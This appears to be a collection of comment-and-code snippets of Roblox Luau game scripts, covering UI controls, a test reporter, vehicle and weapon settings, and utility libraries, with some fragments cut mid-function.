p27.middleImages[v38].Name = "ThumbstickMiddle";
p27.middleImages[v38].Visible = false;
p27.middleImages[v38].BackgroundTransparency = 1;
p27.middleImages[v38].Image = "rbxasset://textures/ui/Input/TouchControlsSheetV2.png";
p27.middleImages[v38].ImageRectOffset = Vector2.new(1, 1);
p27.middleImages[v38].ImageRectSize = Vector2.new(144, 144);
p27.middleImages[v38].ImageTransparency = v1[v38];
p27.middleImages[v38].AnchorPoint = Vector2.new(0.5, 0.5);
p27.middleImages[v38].ZIndex = 9;
p27.middleImages[v38].Parent = p27.thumbstickFrame;
end;
local u9 = nil;
local function v39()
if u9 then
u9:Disconnect();
u9 = nil;
end;
local l__CurrentCamera__40 = workspace.CurrentCamera;
if l__CurrentCamera__40 then
u9 = l__CurrentCamera__40:GetPropertyChangedSignal("ViewportSize"):Connect(function()
local l__ViewportSize__41 = l__CurrentCamera__40.ViewportSize;
v37(l__ViewportSize__41.X < l__ViewportSize__41.Y);
end);
local l__ViewportSize__42 = l__CurrentCamera__40.ViewportSize;
v37(l__ViewportSize__42.X < l__ViewportSize__42.Y);
end;
end;
workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(v39);
if workspace.CurrentCamera then
v39();
end;
p27.moveTouchStartPosition = nil;
p27.startImageFadeTween = nil;
p27.endImageFadeTween = nil;
p27.middleImageFadeTweens = {};
p27.onRenderSteppedConn = l__RunService__5.RenderStepped:Connect(function()
if p27.tweenInAlphaStart ~= nil then
local v43 = tick() - p27.tweenInAlphaStart;
local v44 = p27.fadeInAndOutHalfDuration * 2 * p27.fadeInAndOutBalance;
p27.thumbstickFrame.BackgroundTransparency = 1 - 0.35 * math.min(v43 / v44, 1);
if v44 < v43 then
p27.tweenOutAlphaStart = tick();
p27.tweenInAlphaStart = nil;
return;
end;
elseif p27.tweenOutAlphaStart ~= nil then
local v45 = tick() - p27.tweenOutAlphaStart;
local v46 = p27.fadeInAndOutHalfDuration * 2 - p27.fadeInAndOutHalfDuration * 2 * p27.fadeInAndOutBalance;
p27.thumbstickFrame.BackgroundTransparency = 0.65 + 0.35 * math.min(v45 / v46, 1);
if v46 < v45 then
p27.tweenOutAlphaStart = nil;
end;
end;
end);
p27.onTouchEndedConn = l__UserInputService__4.TouchEnded:connect(function(p30)
if p30 == p27.moveTouchObject then
p27:OnInputEnded();
end;
end);
l__GuiService__3.MenuOpened:connect(function()
if p27.moveTouchObject then
p27:OnInputEnded();
end;
end);
local v47 = v6:FindFirstChildOfClass("PlayerGui");
while not v47 do
v6.ChildAdded:wait();
v47 = v6:FindFirstChildOfClass("PlayerGui");
end;
local v48 = true;
if v47.CurrentScreenOrientation ~= Enum.ScreenOrientation.LandscapeLeft then
v48 = v47.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight;
end;
local u10 = nil;
u10 = v47:GetPropertyChangedSignal("CurrentScreenOrientation"):Connect(function()
if not (not v48) and v47.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait or not v48 and v47.CurrentScreenOrientation ~= Enum.ScreenOrientation.Portrait then
u10:disconnect();
p27.fadeInAndOutHalfDuration = 2.5;
p27.fadeInAndOutBalance = 0.05;
p27.tweenInAlphaStart = tick();
if v48 then
p27.hasFadedBackgroundInPortrait = true;
return;
end;
p27.hasFadedBackgroundInLandscape = true;
end;
end);
p27.thumbstickFrame.Parent = p28;
if game:IsLoaded() then
p27.fadeInAndOutHalfDuration = 2.5;
p27.fadeInAndOutBalance = 0.05;
p27.tweenInAlphaStart = tick();
else
coroutine.wrap(function()
game.Loaded:Wait();
p27.fadeInAndOutHalfDuration = 2.5;
p27.fadeInAndOutBalance = 0.05;
p27.tweenInAlphaStart = tick();
end)();
end;
end;
return v8;
|
--Made by Luckymaxer |
Particle = script.Parent
Visible = script:WaitForChild("Visible")
wait(Visible.Value)
pcall(function()
Particle.Enabled = false
end)
|
--[=[
Promises, but without error handling as this screws with stack traces, using Roblox signals
See: https://promisesaplus.com/
@class Promise
]=] |
local HttpService = game:GetService("HttpService")
|
-- -- Return false to indicate that the emote could not be played
-- return false
--end |
if Character.Parent ~= nil then
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
|
-- Constants |
local Local_Player = PlayersService.LocalPlayer
local Root = script.Parent
Root.Parent = Local_Player.PlayerGui
|
--[[Dependencies]] |
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local UserInputService = game:GetService("UserInputService")
local car = script.Parent.Car.Value
local _Tune = require(car.Tuner)
|
-- If we write more than one character at a time it is possible that
-- Node.js exits in the middle of printing the result. This was first observed
-- in Node.js 0.10 and still persists in Node.js 6.7+.
-- Let's print the test failure summary character by character which is safer
-- when hundreds of tests are failing. |
function SummaryReporter:_write(string_: string)
local i = 1
local strLen = utf8.len(string_)
assert(strLen ~= nil)
while i < strLen do
self._process.stderr:write(String.charCodeAt(string_, i))
i += 1
end
end
function SummaryReporter:onRunStart(aggregatedResults: AggregatedResult, options: ReporterOnStartOptions)
BaseReporter.onRunStart(self, aggregatedResults, options)
self._estimatedTime = options.estimatedTime
end
function SummaryReporter:onRunComplete(contexts: Set<Context>, aggregatedResults: AggregatedResult)
local numTotalTestSuites, testResults, wasInterrupted =
aggregatedResults.numTotalTestSuites, aggregatedResults.testResults, aggregatedResults.wasInterrupted
if Boolean.toJSBoolean(numTotalTestSuites) then
local lastResult = testResults[#testResults]
-- Print a newline if the last test did not fail to line up newlines
-- similar to when an error would have been thrown in the test.
if
Boolean.toJSBoolean(self._globalConfig.verbose)
and Boolean.toJSBoolean(lastResult)
and not Boolean.toJSBoolean(lastResult.numFailingTests)
and not Boolean.toJSBoolean(lastResult.testExecError)
then
self:log("")
end
self:_printSummary(aggregatedResults, self._globalConfig)
self:_printSnapshotSummary(aggregatedResults.snapshot, self._globalConfig)
if Boolean.toJSBoolean(numTotalTestSuites) then
local message = getSummary(aggregatedResults, { estimatedTime = self._estimatedTime })
if not Boolean.toJSBoolean(self._globalConfig.silent) then
message ..= "\n" .. if Boolean.toJSBoolean(wasInterrupted)
then chalk.bold(chalk.red("Test run was interrupted."))
else self:_getTestSummary(contexts, self._globalConfig)
end
self:log(message)
end
end
end
function SummaryReporter:_printSnapshotSummary(snapshots: SnapshotSummary, globalConfig: Config_GlobalConfig)
if
Boolean.toJSBoolean(snapshots.added)
or Boolean.toJSBoolean(snapshots.filesRemoved)
or Boolean.toJSBoolean(snapshots.unchecked)
or Boolean.toJSBoolean(snapshots.unmatched)
or Boolean.toJSBoolean(snapshots.updated)
then
local updateCommand
local event = Boolean.toJSBoolean(npm_lifecycle_event) and npm_lifecycle_event or ""
local prefix = Boolean.toJSBoolean(NPM_EVENTS:has(event)) and "" or "run "
local isYarn = typeof(npm_config_user_agent) == "string"
and string.match(npm_config_user_agent or "", "yarn") ~= nil
local client = if Boolean.toJSBoolean(isYarn) then "yarn" else "npm"
local scriptUsesJest = typeof(npm_lifecycle_script) == "string"
and Boolean.toJSBoolean(string.match(npm_lifecycle_script or "", "jest"))
if globalConfig.watch or globalConfig.watchAll then
updateCommand = "press `u`"
elseif Boolean.toJSBoolean(event) and scriptUsesJest then
updateCommand = ("run `%s -u`"):format(client .. " " .. prefix .. event .. (isYarn and "" or " --"))
else
updateCommand = "re-run jest with `-u`"
end
local snapshotSummary = getSnapshotSummary(snapshots, globalConfig, updateCommand)
Array.forEach(snapshotSummary, function(summary)
self:log(summary)
end)
self:log("") -- print empty line
end
end
function SummaryReporter:_printSummary(aggregatedResults: AggregatedResult, globalConfig: Config_GlobalConfig)
-- If there were any failing tests and there was a large number of tests
-- executed, re-print the failing results at the end of execution output.
local failedTests = aggregatedResults.numFailedTests or 0
local runtimeErrors = aggregatedResults.numRuntimeErrorTestSuites or 0
if failedTests + runtimeErrors > 0 and aggregatedResults.numTotalTestSuites > TEST_SUMMARY_THRESHOLD then
self:log(chalk.bold("Summary of all failing tests"))
Array.forEach(aggregatedResults.testResults, function(testResult)
local failureMessage = testResult.failureMessage
if Boolean.toJSBoolean(failureMessage) then
self:_write(getResultHeader(testResult, globalConfig) .. "\n" .. failureMessage .. "\n")
end
end)
self:log("") -- print empty line
end
end
function SummaryReporter:_getTestSummary(contexts: Set<Context>, globalConfig: Config_GlobalConfig)
local function getMatchingTestsInfo()
local prefix = Boolean.toJSBoolean(globalConfig.findRelatedTests) and " related to files matching "
or " matching "
-- ROBLOX deviation START: testPathPatternToRegExp not implemented (and not needed I don't think)
return chalk.dim(prefix)
-- ROBLOX deviation END
end
local testInfo = ""
if globalConfig.runTestsByPath then
testInfo = chalk.dim(" within paths")
elseif Boolean.toJSBoolean(globalConfig.onlyChanged) then
testInfo = chalk.dim(" related to changed files")
elseif Boolean.toJSBoolean(globalConfig.testPathPattern) then
testInfo = getMatchingTestsInfo()
end
local nameInfo = ""
if globalConfig.runTestsByPath then
nameInfo = " "
.. Array.join(
Array.map(globalConfig.nonFlagArgs, function(p)
return ('"%s"'):format(p)
end),
", "
)
elseif globalConfig.testNamePattern ~= nil then
nameInfo = chalk.dim(" with tests matching ") .. ('"%s"'):format(globalConfig.testNamePattern)
end
local contextInfo = if contexts.size > 1
then chalk.dim(" in ") .. tostring(contexts.size) .. chalk.dim(" projects")
else ""
return chalk.dim("Ran all test suites") .. testInfo .. nameInfo .. contextInfo .. chalk.dim(".")
end
exports.default = SummaryReporter
return exports
|
-- ROBLOX deviation: add function to handle unavailable methods |
local unavailableFn: GlobalCallback = function()
error("Method unavailable")
end
|
-- Put this script in a Part or a ServerScriptService |
local scriptToDestroy = game.Workspace.End[" Badge"].Nodead
game.Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(character)
local humanoid = character:WaitForChild("Humanoid")
humanoid.Died:Connect(function()
scriptToDestroy:Destroy()
end)
end)
end)
|
-- Topbar Configuration |
local topbar = mainUI.Bar
local infoButton = topbar.Information -- The Blue Button
local closeButton = topbar.Close -- The Red button
local darken =mainWindow.Dark -- The object that fades the previous window
local Bar_Button_TweenInfo = TweenInfo.new(
0.2,
Enum.EasingStyle.Circular,
Enum.EasingDirection.InOut
)
local button_not_focused = {} -- Button not interacted
button_not_focused.Size = UDim2.new(0, 25, 0, 25) -- or hovered
local button_focused = {} -- Button hovered
button_focused.Size = UDim2.new(0, 20, 0, 20)
local button_pressed = {} -- Button interacted
button_pressed.Size = UDim2.new(0, 19, 0, 19)
local button_released = {} -- Button released
button_released.Size = UDim2.new(0, 28, 0, 28)
|
-- ReplicaController functions: |
function ReplicaController.RequestData() -- Call after all client controllers are loaded and before CoreReadySignal is fired
if DataRequestStarted == true then
return
end
DataRequestStarted = true
task.spawn(function() -- In case the initial rev_ReplicaRequestData signal was lost (Highly unlikely)
while game:IsLoaded() == false do
task.wait()
end
rev_ReplicaRequestData:FireServer()
while task.wait(SETTINGS.RequestDataRepeat) do
if ReplicaController.InitialDataReceived == true then
break
end
rev_ReplicaRequestData:FireServer()
end
end)
end
function ReplicaController.ReplicaOfClassCreated(replica_class, listener) --> [ScriptConnection] listener(replica)
if type(replica_class) ~= "string" then
error("[ReplicaController]: replica_class must be a string")
end
if type(listener) ~= "function" then
error("[ReplicaController]: Only a function can be set as listener in ReplicaController.ReplicaOfClassCreated()")
end
-- Getting listener table for replica class:
local signal = ClassListeners[replica_class]
if signal == nil then
signal = Madwork.NewScriptSignal()
ClassListeners[replica_class] = signal
end
return signal:Connect(listener, function()
-- Cleanup script signals that are no longer used:
if signal:GetListenerCount() == 0 and ClassListeners[replica_class] == signal then
ClassListeners[replica_class] = nil
end
end)
end
function ReplicaController.GetReplicaById(replica_id)
return Replicas[replica_id]
end
|
--[[
ImpactExplosion
Description: This simple script creates the explosion which kills the players.
]] | |
--Delete a title from a player's inventory |
function functions.RemoveTitleFromInventory(plr: Player, titleName: string)
local plrStats = plr.leaderstats
local plrTitles = plrStats.Titles
if plrTitles:FindFirstChild(titleName) then
plrTitles[titleName]:Destroy()
end
end
|
--[[
Package link auto-generated by Rotriever
]] |
local PackageIndex = script.Parent.Parent.Parent._Index
local Package = require(PackageIndex["LuauPolyfill-2fca3173-0.4.2"]["LuauPolyfill"])
export type Array<T> = Package.Array<T>
export type AssertionError = Package.AssertionError
export type Error = Package.Error
export type Map<T, V> = Package.Map<T, V>
export type Object = Package.Object
export type PromiseLike<T> = Package.PromiseLike<T>
export type Promise<T> = Package.Promise<T>
export type Set<T> = Package.Set<T>
export type Symbol = Package.Symbol
export type Timeout = Package.Timeout
export type Interval = Package.Interval
export type WeakMap<T, V> = Package.WeakMap<T, V>
return Package
|
--- |
script.Parent.Values.Gear.Changed:connect(function()
if script.Parent.Values.Gear.Value == -1 then
for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do
child.Material = Enum.Material.Neon
car.DriveSeat.Reverse:Play()
end
else
for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
car.DriveSeat.Reverse:Stop()
end
end
end)
|
------Settings------ |
local AccurateRepresentation = true -- will include floor color,material and transparency
local FlyingDebrisCollision = true |
-- spawn a random ore |
local oreName = oreBank[math.random(1,#oreBank)]
GU.SpawnItem(oreName,1,root.CFrame*CFrame.new(0,1,0))
end
end)
AttitudeCoroutine()
while true do
if mode == "charLock" then
targetLocation = (charRoot.CFrame*CFrame.new(3,-2.6,1)).p
targetLook = charRoot.CFrame*CFrame.new(charRoot.CFrame.lookVector*1000)
end
bg.CFrame = targetLook
bp.Position = targetLocation
wait()
end
|
-- Create base segway to clone from |
local SegID = 581150091
local Segway = require(SegID)
local function Get_des(instance, func)
func(instance)
for _, child in next, instance:GetChildren() do
Get_des(child, func)
end
end
Functions.PlaySound = function(Sound,Pitch,Volume)
if Sound and Sound.Parent.Name == "Seat" then
Sound.Pitch = Pitch
Sound.Volume = Volume
Sound:Play()
end
end
Functions.StopSound = function(Sound,Volume)
if Sound and Sound.Parent.Name == "Seat" then
Sound.Volume = Volume
Sound:Stop()
end
end
Functions.AnchorPart = function(Part,Anchored)
if Part and Part:IsA("BasePart") and Part.Name == "Seat" then
Part.Anchored = Anchored
end
end
Functions.UndoTags = function(SegwayObject,WeldObject,TiltMotor)
WeldObject.Value = nil
TiltMotor.Value = nil
SegwayObject.Value = nil
end
Functions.UndoHasWelded = function(SeaterObject)
if SeaterObject.Value and SeaterObject.Value.Parent then
SeaterObject.Value.Parent.HasWelded.Value = false
SeaterObject.Value = nil
end
end
Functions.TiltMotor = function(Motor,Angle)
if Motor and Motor.Name == "TiltMotor" then
Motor.DesiredAngle = Angle
end
end
Functions.DeleteWelds = function(Part)
if Part and Part:IsA("BasePart") and Part.Name == "Seat" then
for _,v in pairs(Part:GetChildren()) do
if v:IsA("Motor6D") then
v:Destroy()
end
end
end
end
Functions.ConfigHumanoid = function(Character,Humanoid,PlatformStand,Jump,AutoRotate)
if Humanoid and Humanoid.Parent == Character then
Humanoid.AutoRotate = AutoRotate
Humanoid.PlatformStand = PlatformStand
Humanoid.Jump = Jump
Get_des(Character,function(d)
if d and d:IsA("CFrameValue") and d.Name == "KeptCFrame" then
d.Parent.C0 = d.Value
d:Destroy()
end
end)
end
end
Functions.ConfigLights = function(Transparency,Color,Bool,Material,Lights,Notifiers)
if Lights and Notifiers then
for _,v in pairs(Lights:GetChildren()) do
if v:IsA("BasePart") and v:FindFirstChild("SpotLight") and v:FindFirstChild("Glare") then
v.BrickColor = BrickColor.new(Color)
v.Transparency = Transparency
v:FindFirstChild("SpotLight").Enabled = Bool
v.Material = Material
end
end
for _,v in pairs(Notifiers:GetChildren()) do
if v:IsA("BasePart") and v:FindFirstChild("SurfaceGui") then
v:FindFirstChild("SurfaceGui").ImageLabel.Visible = Bool
end
end
end
end
Functions.ColorSegway = function(Model,Color)
for i=1, #Wings do
for _,v in pairs(Model[Wings[i]]:GetChildren()) do
if v.Name == "Base" or v.Name == "Cover" then
v.BrickColor = Color
end
end
end
end
Functions.DestroySegway = function(Character,SpawnedSegway)
if SpawnedSegway:IsA("ObjectValue") and SpawnedSegway.Value and SpawnedSegway.Value:FindFirstChild("SegPlatform") then
SpawnedSegway.Value:Destroy()
end
end
Functions.SpawnSegway = function(Player,Character,Tool,SpawnedSegway,Color)
if Character and not Character:FindFirstChild(Segway.Name) and Tool.Parent == Character then
local NewSegway = Segway:Clone()
-- Define head
local Head = Character:WaitForChild("Head")
-- Get the head's rotation matrix
local p,p,p,xx,xy,xz,yx,yy,yz,zx,zy,zz = Head.CFrame:components()
-- Get the position in front of player
local SpawnPos = Head.Position + (Head.CFrame.lookVector*4)
ToolStatus.Thruster.Value = NewSegway:WaitForChild("Wheels"):WaitForChild("Thruster")
-- Apply the settings called from the client
NewSegway:WaitForChild("Creator").Value = Player
NewSegway:WaitForChild("MyTool").Value = Tool
SpawnedSegway.Value = NewSegway
-- Colors the segway
Functions.ColorSegway(NewSegway,Color)
-- Parent segway into the player's character
NewSegway.Parent = Character
NewSegway:MakeJoints()
-- Position segway
NewSegway:SetPrimaryPartCFrame(CFrame.new(0,0,0,xx,xy,xz,yx,yy,yz,zx,zy,zz)*CFrame.Angles(0,math.rad(180),0)) -- Rotate segway properly
NewSegway:MoveTo(SpawnPos)
end
end
Functions.ConfigTool = function(Transparency,Tool,ShouldColor,Color)
if Tool == ThisTool then
for _,v in pairs(Tool:GetChildren()) do
if v:IsA("BasePart") and ShouldColor == false then
v.Transparency = Transparency
elseif ShouldColor == true and v:IsA("BasePart") and v.Name == "ColorablePart" then
v.BrickColor = Color
end
end
end
end
return Functions
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 30 -- cooldown for use of the tool again
ZoneModelName = "Knife and bone hell" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 973 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 1100 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 8250 -- Use sliders to manipulate values
Tune.Redline = 8750 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5250
Tune.PeakSharpness = 5.8
Tune.CurveMult = 0.294
--Incline Compensation
Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 400 -- RPM acceleration when clutch is off
Tune.RevDecay = 300 -- RPM decay when clutch is off
Tune.RevBounce = 450 -- RPM kickback from redline
Tune.IdleThrottle = 0 -- Percent throttle at idle
Tune.ClutchTol = 450 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--[=[
@function HeartbeatUpdate
@param dt number
@within Component
If this method is present on a component, then it will be
automatically connected to `RunService.Heartbeat`.
:::note Method
This is a method, not a function. This is a limitation
of the documentation tool which should be fixed soon.
:::
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:HeartbeatUpdate(dt)
end
```
]=]
--[=[
@function SteppedUpdate
@param dt number
@within Component
If this method is present on a component, then it will be
automatically connected to `RunService.Stepped`.
:::note Method
This is a method, not a function. This is a limitation
of the documentation tool which should be fixed soon.
:::
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:SteppedUpdate(dt)
end
```
]=]
--[=[
@function RenderSteppedUpdate
@param dt number
@within Component
@client
If this method is present on a component, then it will be
automatically connected to `RunService.RenderStepped`. If
the `[Component].RenderPriority` field is found, then the
component will instead use `RunService:BindToRenderStep()`
to bind the function.
:::note Method
This is a method, not a function. This is a limitation
of the documentation tool which should be fixed soon.
:::
```lua
-- Example that uses `RunService.RenderStepped` automatically:
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:RenderSteppedUpdate(dt)
end
```
```lua
-- Example that uses `RunService:BindToRenderStep` automatically:
local MyComponent = Component.new({Tag = "MyComponent"})
-- Defining a RenderPriority will force the component to use BindToRenderStep instead
MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value
function MyComponent:RenderSteppedUpdate(dt)
end
```
]=] |
function Component:Destroy()
self._trove:Destroy()
end
return Component
|
--[[
Implementation
]] |
local localPlayer = Players.LocalPlayer
local ActionPrompts = {
targetChanged = Signal.new(),
actionActivated = Signal.new(),
targetInstance = nil,
isRunning = false,
}
local function contextActivate(actionName, userInputState, inputObject)
if not ActionPrompts.targetInstance then
return Enum.ContextActionResult.Pass
end
if userInputState == Enum.UserInputState.Begin then
ActionPrompts.actionActivated:fire(ActionPrompts.targetInstance)
end
end
local function getTarget()
local humanoidRootPart = localPlayer.Character and localPlayer.Character:FindFirstChild("HumanoidRootPart")
if not humanoidRootPart then
return
end
local closestAction = getNearestTagged(humanoidRootPart.Position, "Action", MAX_CUTTOFF_DISTANCE)
if closestAction then
if closestAction ~= ActionPrompts.targetInstance then
ActionPrompts.targetChanged:fire({
enabled = true,
newTargetInstance = closestAction,
oldTargetInstance = ActionPrompts.targetInstance,
sizeOffset = ACTION_BUTTON_OFFSET,
})
end
else
ActionPrompts.targetChanged:fire({
enabled = false,
newTargetInstance = closestAction,
oldTargetInstance = ActionPrompts.targetInstance,
})
end
ActionPrompts.targetInstance = closestAction
end
function ActionPrompts.start()
RunService:BindToRenderStep("GetActionTarget", Enum.RenderPriority.Camera.Value - 1, function()
getTarget()
end)
ContextActionService:BindActionAtPriority(
"ActionActivate",
contextActivate,
false,
ACTION_PRIORITY,
ACTIVATE_KEYBOARD,
ACTIVATE_CONSOLE
)
ActionPrompts.isRunning = true
end
function ActionPrompts.stop()
RunService:UnbindFromRenderStep("GetActionTarget")
ActionPrompts.isRunning = false
end
function ActionPrompts.activate()
if not ActionPrompts.targetInstance then
return
end
ActionPrompts.actionActivated:fire(ActionPrompts.targetInstance)
end
|
--[=[
Constructs a writer which provides a snapshot of the current data state to write
@return DataStoreWriter
]=] |
function DataStoreStage:GetNewWriter()
local writer = DataStoreWriter.new()
if self._dataToSave then
writer:SetRawData(self._dataToSave)
end
for name, store in pairs(self._stores) do
if not store.Destroy then
warn(("[DataStoreStage] - Substore %q destroyed"):format(name))
continue
end
if store:HasWritableData() then
writer:AddWriter(name, store:GetNewWriter())
end
end
return writer
end
|
--[=[
Brios wrap a value (or tuple of values) and are used to convey the lifetime of that
object. The brio is better than a maid, by providing the following constraints:
- Can be in 2 states, dead or alive.
- While alive, can retrieve values.
- While dead, retrieving values is forbidden.
- Died will fire once upon death.
Brios encapsulate the "lifetime" of a valid resource. Unlike a maid, they
- Can only die once, ensuring duplicate calls never occur.
- Have less memory leaks. Memory leaks in maids can occur when use of the maid occurs
after the cleanup of the maid has occured, in certain race conditions.
- Cannot be reentered, i.e. cannot retrieve values after death.
:::info
Calling `brio:Destroy()` or `brio:Kill()` after death does nothing. Brios cannot
be resurrected.
:::
Brios are useful for downstream events where you want to emit a resource. Typically
brios should be killed when their source is killed. Brios are intended to be merged
with downstream brios so create a chain of reliable resources.
```lua
local brio = Brio.new("a", "b")
print(brio:GetValue()) --> a b
print(brio:IsDead()) --> false
brio:GetDiedSignal():Connect(function()
print("Hello from signal!")
end)
brio:ToMaid():GiveTask(function()
print("Hello from maid cleanup!")
end)
brio:Kill()
--> Hello from signal!
--> Hello from maid cleanup!
print(brio:IsDead()) --> true
print(brio:GetValue()) --> ERROR: Brio is dead
```
## Design philosophy
Brios are designed to solve this issue where we emit an object with a lifetime associated with it from an
Observable stream. This resource is only valid for some amount of time (for example, while the object is
in the Roblox data model).
In order to know how long we can keep this object/use it, we wrap the object with a Brio, which denotes
the lifetime of the object.
Modeling this with pure observables is very tricky because the subscriber will have to also monitor/emit
a similar object with less clear conventions. For example an observable that emits the object, and then nil on death.
@class Brio
]=] |
local require = require(script.Parent.loader).load(script)
local Maid = require("Maid")
local Brio = {}
Brio.ClassName = "Brio"
Brio.__index = Brio
|
---------------------------------------------------------------|
------// SETTINGS //-------------------------------------------|
---------------------------------------------------------------| |
local FireRate = 650
local LimbsDamage = {57,62}
local TorsoDamage = {72,87}
local HeadDamage = {140,145}
local FallOfDamage = 1
local BulletPenetration = 78
local RegularWalkspeed = 0
local SearchingWalkspeed = 0
local ShootingWalkspeed = 0
local Spread = 5.5
local MinDistance = 100
local MaxInc = 16
local Mode = 3
local Tracer = true
local TracerColor = Color3.fromRGB(255,255,255)
local BulletFlare = false
local BulletFlareColor = Color3.fromRGB(255,255,255)
|
-- Context Server
-- Gives a loadout to a player based on the loadout name
-- @param Player player
-- @param String loadoutName |
function APILoadout.GiveLoadout(player,loadoutName)
-- Remove all weapons from the player
APIEquipment.RemoveWeapons(player)
local loadoutData = APILoadout.GetLoadoutFromName(loadoutName)
local primaryName = loadoutData.PrimaryEquipment
local secondaryName = loadoutData.SecondaryEquipment
local tertiaryName = loadoutData.TertiaryEquipment
-- Give the equipment to the player
APIEquipment.GiveWeapon(player,primaryName,true)
APIEquipment.GiveWeapon(player,secondaryName,false)
APIEquipment.GiveWeapon(player,tertiaryName,false)
end
return APILoadout
|
-- Represents a CastRayInfo :: https://etithespirit.github.io/FastCastAPIDocs/fastcast-objects/castrayinfo/ |
export type CastRayInfo = {
Parameters: RaycastParams,
WorldRoot: WorldRoot,
MaxDistance: number,
CosmeticBulletObject: Instance?,
CanPierceCallback: CanPierceFunction
}
|
--[=[
Destroys the Janitor object. Forces `Clean` to run.
]=] |
function Janitor:Destroy()
self:Clean()
end
return Janitor
|
-- Symbol keys: |
local KEY_ANCESTORS = Symbol("Ancestors")
local KEY_INST_TO_COMPONENTS = Symbol("InstancesToComponents")
local KEY_LOCK_CONSTRUCT = Symbol("LockConstruct")
local KEY_COMPONENTS = Symbol("Components")
local KEY_TROVE = Symbol("Trove")
local KEY_EXTENSIONS = Symbol("Extensions")
local KEY_ACTIVE_EXTENSIONS = Symbol("ActiveExtensions")
local KEY_STARTED = Symbol("Started")
local renderId = 0
local function NextRenderName(): string
renderId += 1
return "ComponentRender" .. tostring(renderId)
end
local function InvokeExtensionFn(component, fnName: string)
for _, extension in ipairs(component[KEY_ACTIVE_EXTENSIONS]) do
local fn = extension[fnName]
if type(fn) == "function" then
fn(component)
end
end
end
local function ShouldConstruct(component): boolean
for _, extension in ipairs(component[KEY_ACTIVE_EXTENSIONS]) do
local fn = extension.ShouldConstruct
if type(fn) == "function" then
local shouldConstruct = fn(component)
if not shouldConstruct then
return false
end
end
end
return true
end
local function GetActiveExtensions(component, extensionList)
local activeExtensions = table.create(#extensionList)
local allActive = true
for _, extension in ipairs(extensionList) do
local fn = extension.ShouldExtend
local shouldExtend = type(fn) ~= "function" or not not fn(component)
if shouldExtend then
table.insert(activeExtensions, extension)
else
allActive = false
end
end
return if allActive then extensionList else activeExtensions
end
|
-- local endbrick = workspace.EndKillBrick |
local tweenInfo = TweenInfo.new(
2, -- Time
Enum.EasingStyle.Linear, -- EasingStyle
Enum.EasingDirection.Out, -- EasingDirection
0, -- RepeatCount (when less than zero the tween will loop indefinitely)
false, -- Reverses (tween will reverse once reaching it's goal)
0 -- DelayTime
)
script.Parent.Touched:connect(function(hit)
local tweenToB = game:GetService("TweenService"):Create(hit, tweenInfo, {CFrame = spawn.CFrame})
if hit and hit.Parent and hit.Parent:FindFirstChild("Humanoid") then
local player = game.Players:GetPlayerFromCharacter(hit.Parent)
local checkpointData = game.ServerStorage:FindFirstChild("CheckpointData")
if not checkpointData then
checkpointData = Instance.new("Model", game.ServerStorage)
checkpointData.Name = "CheckpointData"
end
local checkpoint = checkpointData:FindFirstChild(tostring(player.userId))
if not checkpoint then
checkpoint = Instance.new("ObjectValue", checkpointData)
checkpoint.Name = tostring(player.userId)
player.CharacterAdded:connect(function(character)
wait()
character:WaitForChild("HumanoidRootPart").CFrame = game.ServerStorage.CheckpointData[tostring(player.userId)].Value.CFrame + Vector3.new(0, 4, 0)
end)
end
checkpoint.Value = spawn
hit.Anchored = true
hit.Parent:FindFirstChild('Humanoid').PlatformStand = true
tweenToB:Play()
wait(1.8)
tweenToB:Pause()
hit.Parent:FindFirstChild('Humanoid').PlatformStand = false
-- game.Players:GetPlayerFromCharacter(hit.Parent):FindFirstChild('Humanoid').PlatformStand = false
hit.Anchored = false
end
end)
|
--[[
game:GetService('UserInputService').InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.E then
script.Parent.OrbEvent:FireServer()
end
end)
]] | |
--Made by Stickmasterluke |
local sp=script.Parent
damage=40
cooldown=.5
debris=game:GetService("Debris")
check=true
function waitfor(parent,name)
while true do
local child=parent:FindFirstChild(name)
if child~=nil then
return child
end
wait()
end
end
local handle=waitfor(sp,"Handle")
local debris=game:GetService("Debris")
function randomcolor()
if handle then
local m=handle:FindFirstChild("Mesh")
if m~=nil then
m.VertexColor=Vector3.new(math.random(1,2),math.random(1,2),math.random(1,2))*.5
end
end
end
function onButton1Down(mouse)
if check then
check=false
mouse.Icon="rbxasset://textures\\GunWaitCursor.png"
local h=sp.Parent:FindFirstChild("Humanoid")
local t=sp.Parent:FindFirstChild("Torso")
local anim=sp:FindFirstChild("RightSlash")
if anim and t and h then
theanim=h:LoadAnimation(anim)
theanim:Play(nil,nil,1.5)
if theanim and h.Health>0 then
local sound=sp.Handle:FindFirstChild("SlashSound")
if sound then
sound:Play()
end
wait(.25)
handle.Transparency=1
local p=handle:clone()
p.Name="Effect"
p.CanCollide=false
p.Transparency=1
p.Script.Disabled=false
local tag=Instance.new("ObjectValue")
tag.Name="creator"
tag.Value=h
tag.Parent=p
p.RotVelocity=Vector3.new(0,0,0)
p.Velocity=(mouse.Hit.p-p.Position).unit*100+Vector3.new(0,10,0)
p.CFrame=CFrame.new(handle.Position,mouse.Hit.p)*CFrame.Angles(-math.pi/2,0,0)
debris:AddItem(p,20+math.random()*5)
p.Parent=game.Workspace
end
end
wait(cooldown-.25)
mouse.Icon="rbxasset://textures\\GunCursor.png"
randomcolor()
handle.Transparency=1
